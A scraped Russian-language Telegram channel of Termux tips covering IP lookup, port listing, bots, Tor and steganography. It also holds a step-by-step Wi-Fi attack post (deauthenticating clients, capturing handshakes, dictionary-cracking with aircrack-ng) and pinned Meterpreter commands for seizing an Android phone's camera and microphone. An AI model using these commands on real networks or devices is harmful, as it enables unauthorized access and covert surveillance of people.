Termux guide
683 subscribers
8 photos
19 links
Интересное о термукс
Download Telegram
Узнаем свой ip адрес в термукс🌐📲
1. Получение локального IP-адреса:
Локальный IP-адрес — это адрес вашего устройства в локальной сети (например, Wi-Fi). Чтобы узнать его, выполните в Termux команду:
ip a

Эта команда выведет список всех сетевых интерфейсов и их IP-адресов. Обычно локальный IP-адрес начинается с 192.168.x.x или 10.x.x.x. Найдите строку с вашим интерфейсом Wi-Fi (wlan0), и вы увидите IP-адрес рядом с надписью inet.

🔍Пример вывода:
3: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc
inet 192.168.1.5/24 brd 192.168.1.255 scope global dynamic wlan0
valid_lft 86378sec preferred_lft 86378sec

В данном случае, ваш локальный IP — 192.168.1.5.

2. Получение внешнего (публичного) IP-адреса:
Внешний IP-адрес — это адрес, который присваивается вашему устройству провайдером интернета и виден во внешних сетях (например, в Интернете). Узнать его можно с помощью запроса на веб-сервис.
Выполните следующую команду в Termux:
curl ifconfig.me


📋Получение более подробной информации об IP:
Используйте curl для запроса более детализированной информации о своем IP:
curl ipinfo.io

Вы получите информацию о вашем публичном IP, местоположении, провайдере и другом.

Заключение📝
Знание вашего IP-адреса может быть полезно для множества задач, таких как настройка сетевых приложений, удаленное подключение к устройству, тестирование безопасности и т.д. В Termux это сделать очень просто, используя встроенные команды Linux.
👍1
Termux guide pinned «Узнаем свой ip адрес в термукс🌐📲 1. Получение локального IP-адреса: Локальный IP-адрес — это адрес вашего устройства в локальной сети (например, Wi-Fi). Чтобы узнать его, выполните в Termux команду: ip a Эта команда выведет список всех сетевых интерфейсов…»
Открытые порты в Termux: Как проверить?🔍📡
Чтобы узнать, какие порты открыты на вашем устройстве или какие порты используются запущенными приложениями в Termux, можно использовать несколько методов:
1. Использование команды netstat:
Команда netstat отображает список всех сетевых соединений и открытых портов на вашем устройстве.

Установите пакет net-tools, если он еще не установлен:
pkg install net-tools

📋Выполните команду:
netstat -tuln

Опция -tuln означает:
-t — показать TCP-соединения;
-u — показать UDP-соединения;
-l — показать прослушиваемые (listening) порты;
-n — отображать IP-адреса и порты в числовом формате.
🔍Пример вывода:
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
udp 0 0 0.0.0.0:68 0.0.0.0:*

В этом примере видно, что TCP-порт 22 открыт и прослушивается (используется, например, для SSH-сервера).

2. Использование команды ss:
Команда ss является более современной альтернативой netstat и может использоваться для аналогичных целей.

📋Выполните команду:
ss -tuln

Эта команда выдаст список всех прослушиваемых портов, аналогично netstat.

3. Использование команды lsof:
Команда lsof (List Open Files) также может показать информацию о портах, которые используются конкретными процессами.

Установите lsof:
pkg install lsof

📋Выполните команду для отображения всех открытых портов:
lsof -i -P -n

Опции -i, -P, -n означают:
-i — информация о сетевых соединениях;
-P — показывать номера портов, а не имена служб;
-n — не пытаться разрешать имена хостов.
🔍Пример вывода:
COMMAND  PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
sshd 1290 root 3u IPv4 13356 0t0 TCP *:22 (LISTEN)


Заключение
Используя команды netstat, ss и lsof, вы можете легко узнать, какие порты открыты и используются на вашем устройстве в Termux. Это полезно для диагностики проблем с сетевыми соединениями, безопасности и настройки сетевых сервисов.
💘2
Termux guide pinned «Update: Metasploit на термукс Эмуляция проникновения на андроид устройства вне локальной сети https://telegra.ph/Metasploit-udalennoe-proniknovenie-na-android-ustrojstva-10-17»
Termux guide pinned «Дополнение: Основные команды Meterpreter: Управление Android-устройством для Пентеста Работа с камерой и микрофоном 📸 Сделать снимок с камеры: webcam_snap 🎥 Запустить трансляцию с камеры: webcam_stream 🎙 Записать звук с микрофона (10 секунд): record_mic…»
Как установить Kali NetHunter с графической оболочкой на Termux
https://telegra.ph/Kak-ustanovit-Kali-NetHunter-s-graficheskoj-obolochkoj-na-Termux-11-25
❤‍🔥2
1. Хакинг Wi-Fi (образовательный пример)
Если у тебя есть совместимый Wi-Fi-адаптер (например, TP-Link TL-WN722N), можно установить инструменты для анализа Wi-Fi-сетей:
pkg install root-repo
pkg install aircrack-ng
airmon-ng start wlan0
airodump-ng wlan0mon

⚠️ Используй только для изучения и тестирования на своих сетях.
2. Создание собственного Telegram-бота
Установи Python и библиотеку telebot, чтобы написать простого Telegram-бота:
pkg install python
pip install pyTelegramBotAPI
nano bot.py

Пример кода:
import telebot
bot = telebot.TeleBot("YOUR_BOT_API_TOKEN")
@bot.message_handler(commands=['start'])
def start_message(message): bot.send_message(message.chat.id, "Привет! Я бот, созданный в Termux!")
bot.polling()

Запусти бота:
python bot.py

3. Управление Android через SSH
Настрой SSH-сервер, чтобы удалённо управлять своим телефоном с компьютера:
pkg install openssh
sshd
ifconfig # Узнай IP-адрес устройства

Подключение через SSH:
ssh username@your-ip

4. Прокси-сервер с помощью Tor
Установи Tor и настрой устройство как прокси-сервер для анонимного серфинга:
pkg install tor
tor

Используй порт 9050 для настройки SOCKS5-прокси.
5. Генерация ASCII-арта
Установи утилиту figlet или toilet для создания красивых текстовых баннеров:
pkg install figlet toilet
figlet Termux
toilet -f mono12 -F metal "Cool Art"

6. Запуск Minecraft-сервера
Если твой телефон достаточно мощный, установи Java и скачай сервер Minecraft:
pkg install openjdk-17
wget https://launcher.mojang.com/v1/objects/.../server.jar
java -Xmx1024M -Xms1024M -jar server.jar nogui

Эти проекты не только полезны, но и покажут всю мощь Termux. Выбирай любой и начинай экспериментировать!
❤3👍2✍1👏1🤓1
Хакинг Wi-Fi "вардрайвинг" (только для образовательных целей)
Если у тебя есть совместимый Wi-Fi-адаптер (например, TP-Link TL-WN722N v1(версия 1 поддерживает мониторинг сетей), либо другой wifi-адаптер с поддержкой мониторинга сетей wifi и рут-права на устройстве, можешь попробовать, либо можно с пк через линукс терминал.

Для подключения Wi-Fi-адаптера к телефону потребуется поддержка OTG.
Телефон проверить можно приложением USB OTG Checker.
Купи OTG-кабель (USB-A -> Micro-USB/USB-C).

Подключи адаптер TP-Link TL-WN722N к телефону через OTG-кабель.

Установка пакетов и драйверов к wifi адаптеру
pkg update
pkg install git
pkg install gcc
pkg install make
pkg install pkg-config
pkg install linux-headers

Драйвер
git clone https://github.com/aircrack-ng/ath9k-htc
cd ath9k-htc

Компиляция
make
make install

Проверка, включаем мониторинг
airmon-ng start wlan0

Начинаем
pkg install root-repo
pkg install aircrack-ng
airmon-ng start wlan0
airodump-ng wlan0mon

Пояснения:
pkg install root-repo — подключает репозиторий для рут-приложений.
pkg install aircrack-ng — установка инструмента для анализа Wi-Fi.
airmon-ng start wlan0 — перевод адаптера в режим мониторинга.
airodump-ng wlan0mon — просмотр ближайших Wi-Fi сетей и их параметров.

⚠️ Используй эти команды только на собственных сетях для тестирования безопасности!

Сканирование и выбор цели
После выполнения команды airodump-ng wlan0mon, ты увидишь список сетей. Выбери нужную сеть (например, по имени SSID или MAC-адресу).
Затем запусти захват пакетов для выбранной сети:
airodump-ng -c [канал сети] --bssid [MAC сети] -w [имя файла] wlan0mon

-c — номер канала (канал сети, который ты нашел).
--bssid — MAC-адрес точки доступа.
-w — имя файла для сохранения захваченных данных.

2. Деаутентификация клиентов
Для перехвата handshake (рукопожатия) можно попытаться "выбить" клиента из сети:
aireplay-ng --deauth 10 -a [MAC сети] -c [MAC клиента] wlan0mon

-a — MAC-адрес точки доступа.
-c — MAC-адрес устройства, подключенного к сети.
Если не знаешь MAC-адрес клиента, можно опустить флаг -c — команда попытается выбить всех.

3. Поиск пароля
После захвата handshake (он будет отображен в airodump-ng), можно приступить к подбору пароля. Используй следующую команду:
aircrack-ng -w [список паролей] -b [MAC сети] [имя файла-01.cap]

-w — путь к словарю (например, rockyou.txt).
-b — MAC-адрес сети.
[имя файла-01.cap] — захваченный файл с handshake.
Советы и предупреждения
Для подбора пароля нужен качественный словарь, например, rockyou.txt, который можно скачать из интернета.
Если пароль сети слишком сложный или использует WPA3, обычный перебор может занять слишком много времени.

⚠️ Используй только для тестирования своих сетей! Незаконный взлом Wi-Fi запрещен и преследуется по закону.
❤5👍1🤩1🤝1👾1
Шифрование данных как в сериале Mr.Robot🎬🔒

В сериале использовалась программа DeepSound.

С помощью неё можно зашифровать файлы и скрыть в аудиофайлах, записать(например через CDBurnerXP) на CD/DVD диск.

Повторим на Termux.
1. Установка необходимых инструментов:
Для начала, установим утилиты для работы с аудиофайлами и шифрованиями. В Termux вам понадобятся следующие пакеты:
pkg update
pkg upgrade
pkg install ffmpeg
pkg install steghide
pkg install openssl

ffmpeg — для работы с аудиофайлами.
steghide — для скрытия данных в аудиофайле.
openssl — для шифрования данных.

2. Шифрование данных:
Предположим, у вас есть текстовый файл, который вы хотите зашифровать, например message.txt. Для шифрования используем OpenSSL:
openssl enc -aes-256-cbc -salt -in message.txt -out message.enc

Эта команда зашифрует файл message.txt с помощью алгоритма AES в режиме CBC, и результат будет сохранён в файл message.enc. Вы можете установить свой пароль, чтобы защитить шифрование.

3. Скрытие зашифрованных данных в аудиофайле:
Теперь, когда у нас есть зашифрованный файл, например, message.enc, давайте скроем его в аудиофайле. Используем steghide для внедрения данных в музыкальный файл, например, song.wav:
steghide embed -cf song.wav -ef message.enc

Эта команда внедрит файл message.enc в аудиофайл song.wav. В процессе вас попросят ввести пароль, который будет использоваться для извлечения данных.

4. Извлечение данных из аудиофайла:
Чтобы извлечь скрытые данные, используйте команду:
steghide extract -sf song.wav

Программа запросит пароль, который был использован при скрытии данных. После ввода пароля вы сможете извлечь файл и восстановить зашифрованное сообщение.

5. Запись на CD/DVD:📀
Теперь, когда у вас есть аудиофайл с скрытыми данными, вы можете использовать приложение для записи на диск, например, CDBurnerXP или любой другой инструмент, который поддерживает запись файлов на CD/DVD, если вы хотите записать этот файл на физический диск.

Примерный процесс:
Создайте текстовый файл с сообщением.
Зашифруйте его с помощью OpenSSL.
Скрывайте зашифрованное сообщение в музыкальном файле с помощью steghide.
Запишите полученный аудиофайл на диск или отправьте его.
Это довольно простой способ создать "шифрованный" аудиофайл с использованием инструментов на Termux.
❤3👍3😍2👌1
Подписывайтесь на второй канал!
Там подробно описано про DeepSound, методы шифрования, Linux-системы, включая инструменты для защиты данных, а также VeraCrypt для создания зашифрованных контейнеров. Контент постоянно дополняется и обновляется!

https://t.me/shifrep
Рандомайзер на Termux.

1. Установка необходимых инструментов
Чтобы использовать случайные числа, убедитесь, что у вас установлен Python в Termux:
pkg update && pkg upgrade
pkg install python
2. Пример простого рандомайзера на Python
Создадим файл со скриптом:
nano randomizer.py
Вставьте следующий код:
import random

print("Добро пожаловать в рандомайзер!")
print("Выберите диапазон чисел:")

# Ввод значений от пользователя
start = int(input("Начало диапазона: "))
end = int(input("Конец диапазона: "))

# Генерация случайного числа
random_number = random.randint(start, end)

print(f"Ваше случайное число: {random_number}")
3. Запуск скрипта
Сохраните файл (в nano: Ctrl + O, затем Ctrl + X) и выполните команду:
python randomizer.py
Пример работы:
Добро пожаловать в рандомайзер!  
Выберите диапазон чисел:
Начало диапазона: 1
Конец диапазона: 100
Ваше случайное число: 47
4. Дополнительное использование
Можно модифицировать скрипт для генерации списка случайных чисел или случайного выбора из слов.
Например, для случайного выбора элемента из списка:
import random

items = ['яблоко', 'банан', 'вишня', 'апельсин']
choice = random.choice(items)
print(f"Случайный выбор: {choice}")
Заключение:
Рандомайзеры на Python в Termux — это простой и эффективный инструмент для выполнения случайных операций. Вы можете адаптировать их под любые задачи: от генерации чисел до выбора элементов из списка.
👍1😱1🙏1👌1